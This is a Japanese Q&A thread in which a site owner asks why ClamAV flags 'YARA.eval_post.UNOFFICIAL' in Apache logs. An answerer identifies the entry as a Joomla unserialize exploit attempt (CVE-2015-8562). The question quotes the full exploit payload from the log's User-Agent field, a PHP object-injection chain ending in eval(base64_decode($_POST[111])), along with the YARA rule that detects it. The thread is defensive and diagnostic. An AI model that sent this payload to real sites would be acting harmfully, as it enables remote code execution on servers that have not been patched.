web-dev-qa-db-ja.com

YARA.eval_post.UNOFFICIALとは何ですか。どうすればよいですか。

私のClamAVスキャンは、Apacheログでこの例を見つけ続けます：YARA.eval_post.UNOFFICIAL

それが何か、それについて何をすべきか知っている人はいますか？

Yararules.comの担当者に連絡を取りましたが、何も返事がありません。

私のログエントリは次のようになります。

160.202.162.212 - - [13/Jul/2017:05:53:12 -0400] "GET / HTTP/1.1" 503 299 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:54:\"eval(base64_decode($_POST[111]));JFactory::get();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\x9d\x8c\x86"

適用されるYaraルールは次のように述べています。

rule eval_post {
    strings:
        $ = "eval(base64_decode($_POST"
        $ = "eval($undecode($tongji))"
        $ = "eval($_POST"
    condition: any of them
}
clamav
1
sanitycheck

YARA.eval_post.UNOFFICIALとは

まず、これはYARAルールです。つまり、ClamAVがマルウェアに分類されるものを見つけました。

「非公式」の部分は、ここでのClamAVの発見が「非公式」であり、マルウェアの検出が非組み込み/デフォルトの署名の結果である場合にのみ当てはまります。おそらくあなたはclamav-unofficial-sigsを使用しています。

あなたのログエントリは何ですか

「Joomla Unserialize Vulnerability」（CVE-2015-8562）、HTTPリクエストで悪意のあるコンテンツを利用する方法。基本的に、誰かがあなたのサイトによく知られたタイプの攻撃を行おうとしています。 Joomlaを使用している場合は、保護された状態を保つことが最新であることを確認してください。

最後に重要なことですが、Apacheのログファイルをスキャンしてeval(base64_decode($_POST[111]));を検出したようです（POST http requestの内容を実行しようとすることがわかります）。 。ログファイル自体は、セキュリティ上の扱いを一切行いません。

1
Miloš Đakonović